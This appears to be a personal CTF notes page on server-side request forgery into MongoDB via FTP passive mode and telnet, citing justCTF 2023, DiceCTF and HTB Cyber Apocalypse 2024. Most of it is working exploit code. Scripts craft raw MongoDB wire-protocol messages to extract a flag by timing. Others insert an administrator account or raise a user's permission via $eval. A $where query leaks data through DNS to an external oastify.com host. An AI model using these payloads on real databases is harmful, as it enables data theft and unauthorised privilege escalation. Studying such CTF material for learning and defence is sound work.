SSRF using ftp pasv

justctf 2023 https://gist.github.com/TrixterTheTux/99c1da88ebdc7bd3de224ef500f01178

https://www.serv-u.com/resources/tutorial/pasv-response-epsv-port-pbsz-rein-ftp-command#:~:text=(p1 * 256) %2B p2 %3D data port

ssrf on mongodb

const BSON = require("bson");const fs = require("fs");const doc = {
  find: "flag",  $db: "secret",  filter: {
    $where: `this.flag.startsWith('${process.argv[2]}') && sleep(100000)`  }
};const data = BSON.serialize(doc);let beginning = Buffer.from(
  "000000000000000000000000DD0700000000000000",  "hex");let full = Buffer.concat([beginning, data]);full.writeUInt32LE(full.length, 0);fs.writeFileSync("bson.bin", full);
const BSON = require('bson')
const fs = require('fs')
const crypto = require('crypto')
let header1 = Buffer.from('aabbccdd11111111ffffffff00000000', 'hex')
let msg1 = Buffer.concat([header1, crypto.randomBytes(256)]) // this can contain random garbage like http headersconst doc = {
    find: 'flag',    $db: 'secret'}
let header2 = Buffer.from('000000000000000000000000DD0700000000000000', 'hex')
let msg2 = Buffer.concat([header2, BSON.serialize(doc)])
msg1.writeUInt32LE(msg1.length, 0)
msg2.writeUInt32LE(msg2.length, 0)
const full = Buffer.concat([msg1, msg2])
console.log(
    Array.from(full)
        .map(x => x.toString(16).padStart(2, '0'))
        .join(' ')
)
console.log(full.toString())
fs.writeFileSync('/tmp/bson.bin', full)
const BSON = require('bson')
const fs = require('fs')
const crypto = require('crypto')
let header1 = Buffer.from('aabbccdd111111110000000000000000', 'hex')
let msg1 = Buffer.concat([header1, crypto.randomBytes(256)]) // this can contain random garbage like http headersmsg1 = msg1.map(x => (x == 0xff ? 0x00 : x)) // replace 0xff with 0x00 as telent will duplicate that with some unknown reasonconst doc = {
    find: 'flag',    $db: 'secret'}
let header2 = Buffer.from('000000000000000000000000DD0700000000000000', 'hex')
let msg2 = Buffer.concat([header2, BSON.serialize(doc)])
msg1.writeUInt32LE(msg1.length, 0)
msg2.writeUInt32LE(msg2.length, 0)
const full = Buffer.concat([msg1, msg2])
console.log(
    Array.from(full)
        .map(x => x.toString(16).padStart(2, '0'))
        .join(' ')
)
console.log(full.toString())
fs.writeFileSync('/tmp/bson.bin', full)
// `curl 'telnet://localhost:27017/' --upload-file /tmp/bson.bin --http0.9 --max-time 1` will show the flag// if it is possible to make it work with curl `-X` option then it should work too
b.getSiblingDB('secret').flag.find({
    $where: function () {
        var m = "mongodb+srv://";        for (i = 0; i < this.flag.length; i++) {
            m += this.flag.charCodeAt(i).toString(16);        }
        m += "." + Math.floor(Math.random() * 1337) + ".ojb52kped3e19tuedltz1fvl4ca3yxmm.oastify.com:27017/";        MongoURI(m);    }
});

Another example in htbctf 2024

https://trixterthetux.notion.site/HTB-Cyber-Apocalypse-2024-web-Percetron-07e517143f9f4753941efc24b72640e1

// npm init -y && npm install --save bson bcryptjsconst fs = require("fs");const BSON = require("bson");const bcrypt = require("bcryptjs");(async () => {
    const doc = {
        insert: 'users',        documents: [
            {
                _id: new BSON.ObjectId(),                username: 'trixter_admin',                password: await bcrypt.hash('password', 10),                permission: 'administrator',            }
        ],        ordered: true,        '$db': 'percetron',    };    const data = BSON.serialize(doc);    let beginning = Buffer.from(
      "000000000000000000000000DD0700000000000000",      "hex"    );    let full = Buffer.concat([beginning, data]);    full.writeUInt32LE(full.length, 0);    fs.writeFileSync("bson.bin", full);})();

SSRF using telnet

web/unfinished https://clbuezzz.wordpress.com/2023/02/13/dicectf-2023-web-challenges/

SSRF to mongo db

https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/web/[Hard] Percetron

username = "lean"

OP_MSG = [
    0x00, 0x00, 0x00, 0x00,                     # request id)
    0x00, 0x00, 0x00, 0x00,                     # responseto
    0xDD, 0x07, 0x00, 0x00,                     # OP_MSG
    0x00, 0x00, 0x00, 0x00,                     # message flags
    0x00                                        # body kind
]

payload = f"""db.runCommand({{update:\"users\",updates:[{{q:{{\"username\":\"{username}\"}},u:{{$set:{{\"permission\":\"administrator\"}}}}}}]}})"""

document = [
    # 0x00, 0x00, 0x00, 0x00,                   # total document body size
    0x0d,                                       # type is javascript code 
    ] + list(bytearray(b"$eval")) + [           # element
    0x00,                                       # end
    ] + pack_size(len(payload)+1) + [           # length
    ] + list(bytearray(payload.encode())) + [   # value
    0x00, 
    0x04                                        # type is array
    ] + list(bytearray(b"args")) + [            # element
    0x00,                                       # end
    0x05, 0x00, 0x00, 0x00,                     # length
    0x00,                                       # empty
    0x03                                        # type is document
    ] + list(bytearray(b"lsid")) + [            # element
    0x00,                                       # end
    0x1e, 0x00, 0x00, 0x00,                     # length
    0x05,                                       # type is binary
    ] + list(bytearray(b"id")) + [              # element
    0x00,                                       # end
    0x10, 0x00, 0x00, 0x00,                     # length
    0x04, 
    0x1d, 0x62, 0x89, 0x5c, 0x03, 0x55, 
    0x4d, 0x4e, 0xb5, 0xe1, 0xe6, 0xa3,
    0xeb, 0x0b, 0x82, 0xff, 
    0x00,                                       # end
    0x02,                                       # type is string
    ] + list(bytearray(b"$db")) + [             # element
    0x00,                                       # end
    0x0a, 0x00, 0x00, 0x00,                     # length
    ] + list(bytearray(b"percetron")) + [ 
    0x00,                                       # end
    0x03                                        # type is document
    ] + list(bytearray(b"$readPreference")) + [
    0x00,                                       # end
    0x20, 0x00, 0x00, 0x00,                     # length 
    0x02,                                       # type is string
    ] + list(bytearray(b"mode")) + [
    0x00,                                       # end
    0x11, 0x00, 0x00, 0x00,                     # length
    ] + list(bytearray(b"primaryPreferred")) + [# value
    0x00, 0x00, 0x00
]

print(encode(construct_query(OP_MSG, document)))

SSRF → FTP active-mode bounce of a PNG/TDS polyglot → Babelfish SQL UPDATE

Event Name DEF CON CTF Qualifiers 2026
Source URL -
Challenge Name Waybird Machine (web/misc, 323 pts)